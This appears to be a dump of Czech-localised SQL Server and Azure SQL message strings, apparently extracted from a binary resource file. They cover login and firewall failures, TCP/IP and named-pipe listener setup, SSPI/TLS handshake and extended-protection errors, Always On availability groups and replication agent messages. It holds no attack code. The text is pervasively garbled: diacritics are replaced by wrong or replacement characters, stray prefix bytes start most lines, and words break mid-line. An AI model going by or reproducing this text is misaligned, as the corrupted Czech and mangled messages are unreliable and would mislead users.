� Dovod: PYi z�sk�v�n� upozornn� na zmnu prostYed� smrov�n� doalo k chyb.

�Dovod: Datab�ze nemo~e v tuto chv�li pYijmout pYipojen� u~ivatele.

� Dovod: PYi obnovov�n� stavu relace Identity_Insert po~adovan�m pYihl�aen�m obnoven� doalo k chyb.

� Dovod: PYi obnovov�n� pYipojen� se nepodaYilo otevY�t datab�zi %1!s! konfigurovanou v objektu obnoven� relace.

, Dovod: NepodaYilo se otevY�t datab�zi %1!s! nakonfigurovanou v objektu obnoven� relace pYi optovn�m ovYov�n� pYihl�aen� v obnoven�m pYipojen�.

� Dovod: Aktu�ln� kolace neodpov�dala kolaci datab�ze ur
en� objektem obnoven� relace pYi pYihl�aen�.

� Dovod: PYi obnovov�n� stavu relace @@identity po~adovan�m pYihl�aen�m obnoven� doalo k chyb.

�Dovod: �
et je aktu�ln zam
en�. Odemknout jej mo~e spr�vce syst�mu.

|Dovod: Certifik�t je neplatn� nebo mu vypraela platnost.

`Dovod: Nenaala se logick� hlavn� datab�ze.

XDovod: Nejde na
�st IP adresu klienta.

LDovod: Klienta blokoval firewall.

hDovod: Nejde otevY�t logickou hlavn� datab�zi.

pDovod: Nejde se pYipojit k logick� hlavn� datab�zi.

LDovod: Vzd�len� ovYen� selhalo.

�Dovod: PYi kontrole pYipojen� se zjistila chyba DosGuardu.

LDovod: DosGuard zam�tl pYipojen�.

hDovod: Nejde na
�st pravidla firewallu serveru.

�Dovod: PYi pokusu o ovYen� u~ivatele doalo k nezn�m� chyb.

�Dovod: PYihl�aen� k datab�zi SQL Azure selhalo kvoli pr�zdn�mu u~ivatelsk�mu jm�nu.

�Dovod: PYihl�aen� k datab�zi SQL Azure selhalo kvoli pr�zdn�mu heslu.

�Dovod: PYihl�aen� k datab�zi SQL Azure selhalo kvoli pr�zdn�mu heslu pYi pou~�v�n� klienta PreTDS7.

�Dovod: OtevYen� datab�ze po~adovan� u~ivatelem neo
ek�van selhalo.

�Dovod: OvYen� bylo �span�, ale datab�ze se na tomto logick�m serveru nenaala.

�Dovod: OvYen� bylo �span�, ale datab�ze se v r�mci aktu�ln� instance nenaala.

lDovod: Nejde na
�st pravidla firewallu datab�ze.

�Dovod: Zachycen� v�jimky z metody FindLogin obsahovalo ovYen� datab�ze.

Dovod: Nezabezpe
en� pYipojen� k datab�zi nen� povolen�. M�sto toho je nutn� pou~�t zabezpe
en� pYipojovac� Yetzec. [Datab�ze: %1!s!]

�PYihl�aen� u~ivatele %1!s! se zdaYilo. PYipojen� bylo vytvoYeno s pou~it�m integrovan�ho ovYov�n�.%2!s!

�PYihl�aen� u~ivatele %1!s! se zdaYilo. PYipojen� bylo vytvoYeno s pou~it�m ovYov�n� syst�mu SQL Server.%2!s!

`PYihl�aen� u~ivatele %1!s! se zdaYilo.%2!s!

4 [KLIENT: %1!s!%2!s!]

�Vyhrazen� pYipojen� spr�vce pou~�v� %1!s! v syst�mu %2!s!.%3!s!

dV�robce syst�mu: %1!s!, model syst�mu: %2!s!.

4 [SERVER: %1!s!%2!s!]

lReplikace pYeskakuje protokolov�n� sch�mat verz�, proto~e v datab�zi %1!s! se nenach�z� tabulka systranschemas. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

%1

�Identifikace trasov�n� SQL %1!s! byla spuatna pYihlaaovac�m �
tem %2!s!.

�Trasov�n� SQL se zastavilo. Identifikace trasov�n� = %1!s!. PYihlaaovac� jm�no = %2!s!.

4Trasov�n� SQL bylo zastaveno kvoli vypnut� serveru. Identifikace trasov�n� = %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

Server byl spuatn s volbou -f. Auditov�n� nebude spuatno. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Inicializa
n� slu~bu OLE DB se nezdaYilo na
�st. PYeinstalujte sou
�sti MDAC (Microsoft Data Access Components). Pokud pot�~e potrvaj�, kontaktujte oddlen� technick� podpory pro zprostYedkovatele slu~eb OLEDB.

�PYi spuatn� %1!s! doalo chyb opera
n�ho syst�mu. Chyba = %2!s!.

@Inicializace byla �span�.

�Inicializace selhala v dosledku chyby infrastruktury. Zkontrolujte pYedchoz� chyby.

�Nelze vytvoYit objekt naslouchac�ho procesu uzlu. Zkontrolujte chyby souvisej�c� s pamt�.

pPYi spouatn� podpory sd�len� pamti doalo k chyb.

PVaechny protokoly jsou zablokov�ny.

�Nelze vytvoYit objekt naslouchac�ho procesu uzlu pro speci�ln� instanci. Zkontrolujte chyby souvisej�c� s pamt�.

�Nelze oY�znout mezery v IP adrese. Zkontrolujte nastaven� protokolu TCP/IP.

�Nastaven� TcpKeepAlive registru je chybn�ho typu. Zkontrolujte nastaven� protokolu TCP/IP.

�Nelze na
�st nastaven� TcpKeepAlive registru. Zkontrolujte nastaven� protokolu TCP/IP.

�Nelze konfigurovat port TCP/IP kompatibility MDAC v registru.

hNelze inicializovat naslouchac� proces TCP/IP.

�Nelze otevY�t konfigura
n� kl�
 protokolu TCP/IP v registru.

|Nelze na
�st nastaven� registru Enabled protokolu TCP/IP.

xNelze na
�st nastaven� registru TCP/IP ListenOnAllIPs.

�Nelze otevY�t konfigura
n� kl�
 IPAll protokolu TCP/IP v registru.

�Nelze na
�st nastaven� registru z konfigura
n�ho kl�
e IPAll protokolu TCP/IP.

�Nelze z�skat velikost seznamu pro IP adresy nakonfigurovan� pro naslouch�n� v registru.

�Alokace pamti pro IP adresy nakonfigurovan� pro naslouch�n� se nezdaYila. Zkontrolujte chyby souvisej�c� s pamt�.

�Nelze z�skat seznam IP adres nakonfigurovan�ch pro naslouch�n� v registru.

�Nelze otevY�t kl�
 registru protokolu TCP/IP pro konkr�tn� IP adresu.

xNelze na
�st nastaven� Enabled pro konkr�tn� IP adresu.

xNelze na
�st nastaven� Active pro konkr�tn� IP adresu.

xNelze na
�st hodnotu IpAddress pro konkr�tn� IP adresu.

hHodnota IpAddress v registru je chybn�ho typu.

|Nelze na
�st nastaven� registru pro konkr�tn� IP adresu.

�Nelze navr�tit struktury pYedstavuj�c� kl�
 registru pro konkr�tn� IP adresu.

xNelze na
�st nastaven� registru pro prostYed� clusteru.

�Server je nakonfigurov�n k naslouch�n� na konkr�tn� IP adrese v prostYed� clusteru.

Rozhran� s�t syst�mu SQL Server nemo~e kontrolovat duplicitn� IP adresu v nastaven�ch naslouch�n� TCP syst�mu SQL Server.

�Rozhran� s�t syst�mu SQL Server zjistilo duplicitn� IP adresu v nastaven�ch naslouch�n� TCP syst�mu SQL Server. OdstraHte duplicitn� IP adresu s pou~it�m spr�vce konfigurace syst�mu SQL Server.

Nelze otevY�t konfigura
n� kl�
 knihovny rozhran� s�t syst�mu SQL Server v registru pro nastaven� vyhrazen�ho pYipojen� spr�vce (DAC).

�Nelze otevY�t konfigura
n� kl�
 vyhrazen�ho pYipojen� spr�vce (DAC) v registru.

�Nelze otevY�t konfigura
n� kl�
 TCP/IP pro vyhrazen� pYipojen� spr�vce (DAC) v registru.

�Nelze na
�st nastaven� registru dynamick�ch porto TCP/IP pro vyhrazen� pYipojen� spr�vce (DAC).

�V nastaven�ch registru nen� pro vyhrazen� pYipojen� spr�vce nakonfigurov�n v�ce ne~ jeden dynamick� port TCP/IP.

�PYi spuatn� podpory pojmenovan�ch kan�lo doalo k chyb. Zkontrolujte nastaven� protokolu.

�PYidlen� pamti pro naslouchac� struktury SSL se nezdaYilo. Zkontrolujte chyby souvisej�c� s pamt�.

�PYi z�sk�v�n� nebo pou~it� certifik�tu pro SSL doalo k chyb. Zkontrolujte nastaven� ve spr�vci konfigurace.

�Nelze pYidat koncov� body naslouchac�ho procesu. Zkontrolujte chyby souvisej�c� s pamt�.

pNelze inicializovat naslouchac� procesy komunikace.

�Nelze na
�st nastaven� knihovny rozhran� s�t syst�mu SQL Server pro speci�ln� instanci.

�Nelze na
�st nastaven� knihovny rozhran� s�t syst�mu SQL Server. N�zev instance je pY�lia dlouh�.

xNelze inicializovat naslouchac� proces sd�len� pamti.

�Nelze inicializovat naslouchac� proces pojmenovan�ch kan�lo.

�Nelze konfigurovat n�zev kan�lu protokolu pojmenovan�ch kan�lo kompatibility MDAC v registru.

xNelze inicializovat naslouchac� proces protokolu HTTP.

`Nelze inicializovat podporu protokolu SSL.

�Nelze konfigurovat seznam protokolo kompatibility MDAC v registru.

�Nelze otevY�t konfigura
n� kl�
 knihovny rozhran� s�t syst�mu SQL Server v registru.

 PYi z�sk�v�n� nastaven� roza�Yen� ochrany doalo k chyb. Zkontrolujte nastaven� konfigurace s�t ve Spr�vci konfigurace syst�mu SQL Server.

$Konfigurovan� hodnota pro roza�Yenou ochranu nen� platn�. Zkontrolujte nastaven� konfigurace s�t ve Spr�vci konfigurace syst�mu SQL Server.

hPYi z�sk�v�n� seznamu pYijat�ch hlavn�ch n�zvo slu~by pro roza�Yenou ochranu doalo k chyb. Zkontrolujte nastaven� konfigurace s�t ve Spr�vci konfigurace syst�mu SQL Server.

<Konfigurovan� hodnota pro seznam pYijat�ch hlavn�ch n�zvo nen� platn�. Zkontrolujte nastaven� konfigurace s�t ve Spr�vci konfigurace syst�mu SQL Server.

0Klientu TDSSNIClient se nepodaYilo pYidlit pame bhem na
�t�n� nastaven� konfigurace roza�Yen� ochrany. Zkontrolujte chyby souvisej�c� s pamt�.

�PYidlen� pamti pro naslouchac� struktury SSPI se nezdaYilo. Zkontrolujte chyby souvisej�c� s pamt�.

tNelze inicializovat naslouchac� proces rozhran� SSPI.

�VytvoYen� cyklick� vyrovn�vac� pamti pYipojen� se nezdaYilo. Zkontrolujte chyby souvisej�c� s pamt�.

�Nelze otevY�t konfigura
n� kl�
 Named Pipes pro vyhrazen� pYipojen� spr�vce v registru.

�Nastaven� registru Enabled pro vyhrazen� pYipojen� spr�vce k pojmenovan�mu kan�lu nelze na
�st.

�Pro vyhrazen� pYipojen� spr�vce nen� aktivov�n ~�dn� protokol.

�Nastaven� registru PipeName pro vyhrazen� pYipojen� spr�vce k pojmenovan�mu kan�lu nelze na
�st.

�PYi spouatn� podpory pojmenovan�ch kan�lo pro vyhrazen� pYipojen� spr�vce doalo k chyb.

�Nastaven� registru GroupName pro vyhrazen� pYipojen� spr�vce k pojmenovan�mu kan�lu nejde na
�st.

�PYi spouatn� podpory pojmenovan�ch kan�lo pro vyhrazen� pYipojen� spr�vce doalo k chyb.

8OvYov�n� bylo �span�.

PYenosov� protokol neposkytuje kontext ovYov�n� a v datov�m proudu protokolu TDS (Tabular Data Stream) se nenach�z� ovYovac� token.

PYi vol�n� funkce CompleteAuthToken pro tento kontext zabezpe
en� doalo k chyb. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

�Rozhran� API funkce CompleteAuthToken nen� pro aktu�ln�ho zprostYedkovatele podpory zabezpe
en� (SSP) definov�no.

�Funkce AcceptSecurityContext se nezdaYila. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

`Opera
n� syst�m nepodporuje vazby kan�lo, ale server je nakonfigurov�n tak, aby vy~adoval roza�Yenou ochranu. Aktualizujte opera
n� syst�m nebo zaka~te roza�Yenou ochranu.

Vazby kan�lo od tohoto klienta se neshoduj� s vytvoYen�m kan�lem protokolu TLS (Transport Layer Security). Pravdpodobn prob�h� �tok na slu~bu nebo je nutn� aktualizovat poskytovatele dat, aby podporoval roza�Yenou ochranu. Prob�h� ukon
ov�n� pYipojen�.

lVazby kan�lo od tohoto klienta nebyly nalezeny nebo se neshoduj� s vytvoYen�m kan�lem protokolu TLS (Transport Layer Security). Pravdpodobn prob�h� �tok na slu~bu nebo je nutn� aktualizovat poskytovatele dat nebo opera
n� syst�m klienta, aby podporoval roza�Yenou ochranu. Prob�h� ukon
ov�n� pYipojen�.

`Opera
n� syst�m nepodporuje vazby slu~eb, ale server je nakonfigurov�n tak, aby vy~adoval roza�Yenou ochranu. Aktualizujte opera
n� syst�m nebo zaka~te roza�Yenou ochranu.

�Funkci QueryContextAttributes se nepodaYilo na
�st vazby slu~eb. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

��roveH roza�Yen� ochrany serveru je nastavena na hodnotu Povoleno nebo Po~adov�no a klient neposkytnul hlavn� n�zev slu~by (SPN). Chcete-li se pYipojit, mus� tento klient podporovat roza�Yenou ochranu. Pravdpodobn bude nutn� nainstalovat aktualizaci Service Pack opera
n�ho syst�mu, kter� povol� vazbu slu~by a vazbu kan�lu.

8�roveH roza�Yen� ochrany serveru je nastavena na hodnotu Povoleno nebo Po~adov�no a klient neposkytnul hlavn� n�zev slu~by (SPN). Chcete-li se pYipojit, mus� tento klient podporovat roza�Yenou ochranu. Pravdpodobn bude nutn� v klientovi aktualizovat ovlada
 syst�mu SQL Server.

�Element Service Class pYijat�ho hlavn�ho n�zvu slu~by (SPN) je neplatn�.

�Element IP Address pYijat�ho hlavn�ho n�zvu slu~by (SPN) je neplatn�.

�Element Host pYijat�ho hlavn�ho n�zvu slu~by (SPN) je neplatn�.

�PYidlen� pamti pYi ovYov�n� pYijat�ho hlavn�ho n�zvu slu~by (SPN) se nezdaYilo.

�Funkce QueryContextAttributes byla �span�, ale nena
etla pYijat� hlavn� n�zev slu~by (SPN).

pFunkci WSAStringToAddress se nepodaYilo pYev�st element IP Address pYijat�ho hlavn�ho n�zvu slu~by (SPN) na strukturu adresy. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

�Nelze 
ekat na dokon
en� operace V/V signalizace ud�losti pro kryptografickou metodu handshake.

��lohu proveden� kryptografick� metody handshake nelze zaYadit do fronty.

�Bhem prov�dn� kryptografick� metody handshake se nezdaYil pokus o 
ten� vyrovn�vac� pamti ze s�t.

Bhem prov�dn� kryptografick� metody handshake doalo pYi pokusu o zpracov�n� vyrovn�vac� pamti pro 
ten� k ukon
en� pYipojen�.

Bhem prov�dn� kryptografick� metody handshake doalo pYi pokusu o zpracov�n� vyrovn�vac� pamti pro z�pis k ukon
en� pYipojen�.

�Bhem prov�dn� kryptografick� metody handshake se nezdaYil pokus o z�pis vyrovn�vac� pamti na s�ti.

�Funkce AcquireCredentialsHandle se nezdaYila. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

�Funkce InitializeSecurityContext se nezdaYila. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

Funkci QueryContextAttributes se nepodaYilo na
�st velikosti datov�ho proudu. PY�
inu chyby ozna
uje k�d chyby opera
n�ho syst�mu.

xPokus o zmnu velikosti vyrovn�vac� pamti se nezdaYil.

�Bhem prov�dn� kryptografick� metody handshake doalo k neo
ek�van� chyb.

�Bhem prov�dn� kryptografick� metody handshake byl pYijat neo
ek�van� token.

�Bhem prov�dn� kryptografick� metody se nepodaYilo pYidlit paket pro z�pis na s�ti.

�NepodaYilo se pYidlit objekt pro proveden� kryptografick� metody handshake.

�NepodaYilo se inicializovat objekt pro proveden� kryptografick� metody handshake.

�Velikost tokenu z metody handshake pYes�hla velikost povolenou rozhran�m SSPI.

�Bhem prov�dn� kryptografick� metody handshake doalo pYi 
ek�n� na V/V s�t k ukon
en� pYipojen�.

�Bhem prov�dn� kryptografick� metody handshake doalo k vyvol�n� neo
ek�van� v�jimky.

xVyjedn�van� kontext zabezpe
en� nem� pY�znak integrity.

tVyjedn�van� kontext zabezpe
en� nem� pY�znak utajen�.

pVyjedn�van� kontext zabezpe
en� m� pY�znak utajen�.

�Vyjedn�van� kontext zabezpe
en� nem� pY�znak zjiaeov�n� sekvence.

�Vyjedn�van� kontext zabezpe
en� nem� pY�znak rozpozn�n� optovn�ho pYehr�n�.

�Pro pY�choz� pYipojen� je zapotYeb� glob�ln� obslu~n� rutina povYen�.

hStruktury SSPI jsou pro aifrov�n� pY�lia velk�.

dStruktury SSPI jsou pro podpis pY�lia velk�.

XPYi vyjedn�v�n� kontextu zabezpe
en� vr�tilo rozhran� SSPI pr�zdn� token v�stupu. Zkontrolujte, zda nedoalo k poakozen� s�eov�ho paketu nebo k jin�m probl�mom se s�t�.

�Z rozhran� SSPI byla vr�cena ne�pln� chybov� zpr�va, ale nepovedlo se pokra
ovat.

�Stav m�stn� repliky dostupnosti ve skupin dostupnosti %1!s! se zmnil ze stavu %2!s! na stav %3!s!.  %4!s!.  Dala� informace naleznete v protokolu chyb syst�mu SQL Server nebo protokolu clusteru.  Pokud je toto skupina dostupnosti WSFC (Windows Server Failover Clustering), mo~ete nahl�dnout i do konzoly pro spr�vu slu~by WSFC.

8Clusterov� kontext slu~by Windows Server Failover Clustering (WSFC) funkce dostupnosti skupin Always On se zmnil na vzd�len� cluster slu~by WSFC (%1!s!). PY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER CONTEXT = 'remote_wsfc_cluster_name' pYepnul clusterov� kontext z m�stn�ho clusteru slu~by WSFC na tento vzd�len� cluster slu~by WSFC. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Clusterov� kontext slu~by Windows Server Failover Clustering (WSFC) funkce dostupnosti skupin Always On se zmnil na m�stn� cluster slu~by WSFC. PY�kaz ALTER SERVER CONFIGURATION SET HADR CLUSTER LOCAL pYepnul clusterov� kontext ze vzd�len�ho clusteru WSFC (%1!s!) na m�stn� cluster WSFC. Datab�ze dostupnosti v tomto m�stn�m clusteru WSFC ji~ nepatY� do ~�dn� skupiny dostupnosti a pYech�zej� do stavu RESTORING. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Po~aduje se, aby skupina dostupnosti %1!s! pYestala obnovovat zapoj
en�, proto~e skupina dostupnosti pYech�z� do offline re~imu. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

�Pracovn� proces zapoj
en� skupiny dostupnosti %1!s! je te v re~imu sp�nku dela� dobu, ne~ je doba zapoj
en� (%2!s! ms) poskytnut� v online re~imu. Tato zpr�va je jenom informa
n�. U~ivatel nemus� prov�dt ~�dn� akce.

TAlways On: Slu~ba WSFC (Windows Server Failover Clustering) je spuatn� s parametrem /forcequorum. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

8Automatick� synchronizace replik indexo datab�ze dostupnosti %1!s! ve skupin dostupnosti %2!s! selhala s pYechodnou chybou. Operace se bude opakovat.

<Automatick� synchronizace replik indexo datab�ze dostupnosti %1!s! ve skupin dostupnosti %2!s! selhala s neodstranitelnou chybou. opravte probl�m a spusete pro repliku pY�kaz ALTER AVAILABILITY GROUP, kter�m nastav�te SEEDING_MODE = AUTOMATIC, aby se synchronizace spustila znovu.

�Automatick� synchronizace replik indexo datab�ze dostupnosti %1!s! ve skupin dostupnosti %2!s! selhala.

�Nepovedlo se zah�jit operaci synchronizace replik indexo c�le pro nesekund�rn�/pYesmruj�c� repliku ve skupin dostupnosti %1!s!. Stav repliky se mohl od spuatn� sestavovac� �lohy zmnit.

�Nepovedlo se po
kat na spuatn� pYenosu prim�rn�ho partnera pYi spouatn� sekund�rn� vzd�len� repliky.

|V publikaci %2!s! nen� ~�dn� pYezd�vka pro 
l�nek %1!s!.

�Filtr %1!s! ji~ v publikaci %3!s! pro 
l�nek %2!s! existuje.

TNelze generovat pYezd�vku pro %1!s!.

Publikace %1!s! m� n�sleduj�c� vlastnost: %2!s!. Odbratel� syst�mu SQL Server ve verzi ni~a� ne~ %3!s! budou toto nastaven� ignorovat.

Parametr profilu %1!s! se dynamicky optovn na
�t� a jeho zmna se bhem nakonfigurovan�ho 
asov�ho obdob� pou~ije u spuatn�ch agento.

dPro profil agenta %1!s! se parametry ozna
en� v tabulce msdb.dbo.MSagentparameterlist jako is_reloadable bhem nakonfigurovan�ho 
asov�ho obdob� pou~ij� u spuatn�ch agento.

TPo~adavek na ovYen� po
tu Y�dko byl odesl�n heterogenn�mu vydavateli %1!s! pro 
l�nek %2!s! publikace %3!s!. V�sledky ovYen� budou odesl�ny do historie distribuce.

8Tabulka %1!s! mo~n� nen� synchronizov�na. Po
ty Y�dko (skute
n�: %2!s!, o
ek�van�: %3!s!). Pou~it� metoda po
�t�n� Y�dko %4!s! (0 = �pln�, 1 = Rychl�).

<Tabulka %1!s! mo~n� nen� synchronizov�na. Po
ty Y�dko (skute
n�: %2!s!, o
ek�van� %3!s!). Hodnoty kontroln�ch sou
to (skute
n�: %4!s!, o
ek�van�: %5!s!).

OvYen� po
tu Y�dko (%2!s!) v tabulce %1!s! probhlo �span. Pou~it� metoda po
�t�n� Y�dko %3!s! (0 = �pln�, 1 = Rychl�).

<OvYen� po
tu Y�dko (%2!s!) a kontroln�ho sou
tu v tabulce %1!s! probhlo �span. Kontroln� sou
et nen� porovn�v�n u textov�ch nebo obrazov�ch sloupco.

`Zpr�va o spuatn� Agenta 
te
ky protokolo.

,Spouatn� agenta

(Spustit agenta

`Rozpoznat nezaprotokolovan� vypnut� agenta

4Pl�n agenta replikace

<Kontrola agento replikace

�Rozpozn�v� agenty replikace, kteY� aktivn neprotokoluj� historii.

|Odebere historii agenta replikace z distribu
n� datab�ze.

<Replikace: selh�n� agenta

@Replikace: opakov�n� agenta

TReplikace: neplatn� odbr byl vyYazen

lVarov�n� replikace: %1!s! (mezn� hodnota: %2!s!)

<Replikace: �spch agenta

tOdebere replikovan� transakce z distribu
n� datab�ze.

�Zjist� a odebere odbry s proalou platnost� z publikovan�ch datab�z� nebo distribu
n�ch datab�z�.

|Parametr @rowcount_only mus� m�t hodnotu 0,1 nebo 2. 0=7.0 kompatibiln� kontroln� sou
et. 1=kontrolovat pouze po
ty Y�dko. 2=nov� funk
nost kontroln�ch sou
to pYedstaven� ve verzi 8.0.

4V�choz� profil agenta

HProfil agenta podrobn� historie

lProfil agenta pro podrobn� protokolov�n� historie

LProfil agenta pomal�ho pYipojen�

dProfil agenta pro n�zkorychlostn� pYipojen�.

dProfil spr�vce synchronizace syst�mu Windows

xProfil pou~�van� spr�vcem synchronizace syst�mu Windows

hNelze vy
istit tabulky distribu
n�ch transakc�.

dNelze vy
istit tabulky distribu
n� historie.

(Agent replikace nezaznamenal zpr�vu o probhu bhem %1!s! min. To mo~e znamenat neaktivn�ho agenta nebo vysokou aktivitu syst�mu. Zkontrolujte, zda jsou z�znamy replikov�ny do c�lov�ho um�stn� a zda jsou dosud aktivn� pYipojen� k odbrateli, vydavateli a distributorovi.

(Publikace 6.x.

�Prezen
n� sign�ly byly zjiatny u vaech spuatn�ch agento replikace.

�Vypnut� agenta. Dala� informace z�sk�te v historii �loh agenta syst�mu SQL Server pro �lohu %1!s!.

 Tabulka %1!s! �span provedla �pln� ovYen� po
tu Y�dko po nezdaru posledn� kontroly. Atribut DBCC UPDATEUSAGE bude iniciov�n automaticky.

�Metoda podm�nn�ho rychl�ho po
tu Y�dko byla vy~�d�na bez zad�n� o
ek�van�ho po
tu. Bude pou~ita rychl� metoda.

$Byla pYed�na o
ek�van� hodnota kontroln�ho sou
tu, ale kontroln� sou
ty nebudou porovn�ny, proto~e byla vy~�d�na pouze kontrola po
tu Y�dko.

�Byla vygenerov�na hodnota o
ek�van�ho po
tu Y�dko %1!s! pro %2!s!.

lReplikace: U odbratele se nezdaYilo ovYen� dat.

hReplikace: U odbratele se zdaYilo ovYen� dat.

LVy
iatn� historie agenta: %1!s!

@Vy
iatn� distribuce: %1!s!

@Vy
iatn� neplatn�ch odbro

�Znovu inicializovat odbry, u kter�ch selhalo ovYov�n� dat

�Znovu inicializuje vaechny odbry, u kter�ch doalo k selh�n� ovYov�n� dat.

�Odbr 
l�nku %2!s! v publikaci %3!s! odbratelem %1!s! byl opt inicializov�n pro nezdaru ovYen�.

�Replikace: Odbr byl znovu inicializov�n po nezdaru ovYen�

�U odbru 
l�nku %2!s! v publikaci %3!s! odbratelem %1!s! se nezdaYilo ovYen� dat.

�U odbru 
l�nku %2!s! v publikaci %3!s! odbratelem %1!s! se zdaYilo ovYen� dat.

�Odbr 
l�nku %2!s! v publikaci %3!s! odbratelem %1!s! byl opt inicializov�n pro nezdaru synchronizace.

�V msdb..sysreplicationalerts nebyly nalezeny ~�dn� z�znamy.

TReplikace: u~ivatelsk� vypnut� agenta

�Byla generov�na hodnota o
ek�van�ho po
tu Y�dko %1!s! a hodnota o
ek�van�ho kontroln�ho sou
tu %2!s! pro %3!s!.

�U nkter�ch agento replikace nebyly zjiatny prezen
n� sign�ly. Stav tchto agento se zmnil na Failed.

�Nelze vyYadit server %1!s!, proto~e je pou~�v�n jako distributor v replikaci.

�Nelze vyYadit server %1!s!, proto~e je pou~�v�n jako vydavatel v replikaci.

�Nelze vyYadit server %1!s!, proto~e je pou~�v�n jako odbratel v replikaci.

�Nelze vyYadit server %1!s!, proto~e je pou~�v�n jako odbratel vzd�len�ho vydavatele %2!s! v replikaci.

�Profil agenta pro 
te
ku replikovan�ch transakc� zaYazen�ch do fronty.

XBylo vyYazeno %1!s! anonymn�ch odbro.

�Profil agenta pro pYeskakov�n� chyb konzistence dat. Pou~it� je povoleno pouze odbratelom syst�mu SQL Server.

�Pro parametr SkipErrors agenta byla zad�na neplatn� hodnota.

�Hodnota zadan� pro parametr SkipErrors agenta je pY�lia dlouh�.

xProfil agenta nemohou pou~�vat heterogenn� odbratel�.

�Nem�te opr�vnn� ke spouatn� agento pro nab�zen� odbry. Dbejte na to, abyste zadali parametr SubscriptionType agenta.

�St�vaj�c� sn�mek publikace byl zruaen. Spusete znovu agenta sn�mku a vygenerujte nov� sn�mek.

DZnovu inicializovan� odbry.

XZmnu nelze prov�st, proto~e sn�mek je ji~ vygenerov�n. Nastavte atribut @force_invalidate_snapshot na hodnotu 1, abyste si vynutili zmnu a zruaili existuj�c� sn�mek.

dZmnu nelze prov�st, proto~e existuj� aktivn� odbry. Nastavte atribut @force_reinit_subscription na hodnotu 1, abyste vynutili zmnu a znovu inicializovali aktivn� odbry.

PProfil High Volume Server-to-Server

�Profil agenta slou
en� optimalizovan� pro sc�n�Y rozs�hl� synchronizace mezi servery.

�PoYad� 
l�nko zadan� v parametru @processing_order procedury sp_addmergearticle nezohledHuje relace prim�rn�ch a ciz�ch kl�
o mezi publikovan�mi tabulkami. l�nek %1!s! se odkazuje na nejm�n jeden 
l�nek, kter� vznikne a~ po jeho vytvoYen�. ZmHte vlastnost processing_order s pou~it�m procedury sp_changemergearticle.

�l�nky ve slou
en� tabulce nepodporuj� rozd�ln� hodnoty pro parametry @source_object a @destination_object procedury sp_addmergearticle. Bu nezad�vejte hodnotu pro parametr @destination_object, nebo zadejte stejnou hodnotu pro oba parametry.

�Pro parametr @partition_options nelze zadat hodnotu 1, 2 nebo 3, proto~e publikace %1!s! m� �roveH kompatibility ni~a� ne~ 90RTM. Pomoc� ulo~en� procedury sp_changemergepublication nastavte vlastnost publication_compatibility_level na hodnotu 90RTM.

�Odstrann� Y�dko pYi pokusu o d�vkov� odstrann� v tabulce %1!s! se nezdaYilo.

�Nelze nastavit parametr @conflict_logging na hodnotu BOTH, proto~e publikace %1!s! m� �roveH kompatibility ni~a� ne~ 90. Nastavte pYi vytv�Yen� publikace parametr @publication_compatibility_level na hodnotu 90RTM nebo pou~ijte proceduru sp_changemergepublication a nastavte vlastnost publication_compatibility_level na hodnotu 90RTM.

�Maxim�ln� a minim�ln� povolen� po
ty identit ve sloupci Identity nelze pro dan� 
l�nek naj�t.

Publikace 
l�nku s parametrem identityrangemanagementoption nastaven�m na hodnotu AUTO se nezdaYila kvoli nejm�n jedn� chyb.

�l�nek se nesm� st�t sou
�st� logick�ho z�znamu, jestli~e m� vlastn� pYeklada
 obchodn� logiky.

�Proces slou
en� nemo~e vy
istit konfliktn� tabulku %1!s! pro publikaci %2!s!.

�Upozornn�: Hodnoty nkter�ch pY�znako zadan�ch ve vlastnosti schema_option nejsou kompatibiln� s �rovn� kompatibility publikace. Pro vlastnost schema_option bude m�sto toho pou~ita upraven� hodnota %1!s!.

�Upozornn�: Hodnoty nkter�ch pY�znako zadan�ch ve vlastnosti schema_option nejsou kompatibiln� s �rovn� kompatibility publikace. Pro vlastnost schema_option bude m�sto toho pou~ita upraven� hodnota %1!s!.

�Upozornn�: Aby bylo mo~n� optim�ln prov�st replikaci dat FILESTREAM a sn�~it vyu~it� pamti, vlastnost stream_blob_columns mus� b�t nastavena na hodnotu TRUE. Nastaven�m parametru stream_blob_columns na hodnotu FALSE s pou~it�m parametru sp_changemergearticle zabr�n�te tomu, aby 
l�nky v tabulce FILESTREAM pou~�valy datov� proudy objekto blob.

\Profil distribuce pro datov� proudy OLEDB

�Profil agenta distribuce byl povolen pro zpracov�n� dat LOB s pou~it�m datov�ch toko OLEDB.

�Vydavatel� Peer-To-Peer jsou povoleni v syst�mu SQL Server pouze ve verz�ch na podnikov� �rovni. Tato instance je %1!s!.

4Pro zptnou kompatibilitu lze pomoc� sp_addpublisher pYidat pro tohoto distributora vydavatele. Parametr sp_adddistpublisher je ovaem flexibilnja�.

XByl pYid�n agent distribuce pro odbr.

4nebyl zad�n koment�Y.

�Nelze znovu inicializovat 
l�nek %1!s! v odbru %2!s!:%3!s! do publikace %4!s! (odeb�r�no s volbou no sync).

|Po
�te
n� sn�mek pro publikaci %1!s! nen� jeat dostupn�.

xPo
�te
n� sn�mek pro 
l�nek %1!s! nen� jeat dostupn�.

Doalo k deaktivaci po
�te
n�ho sn�mku pro anonymn� publikaci nebo publikace. Nov� odbry mus� po
kat na dala� pl�novan� sn�mek.

pPo
�te
n� sn�mek pro publikaci nen� jeat dostupn�.

�Bylo provedeno ru
n� vy
iatn� sledov�n� zmn pro datab�zi %1!s!.

|Vlastn� n�zev pY�kazu %1!s! zadan� pro parametr %2!s! bude ignorov�n. Nam�sto toho bude pou~it n�zev vygenerovan� syst�mem. Publikace umo~Huje %3!s! a n�zvy pY�kazo nen� nutn� zad�vat.
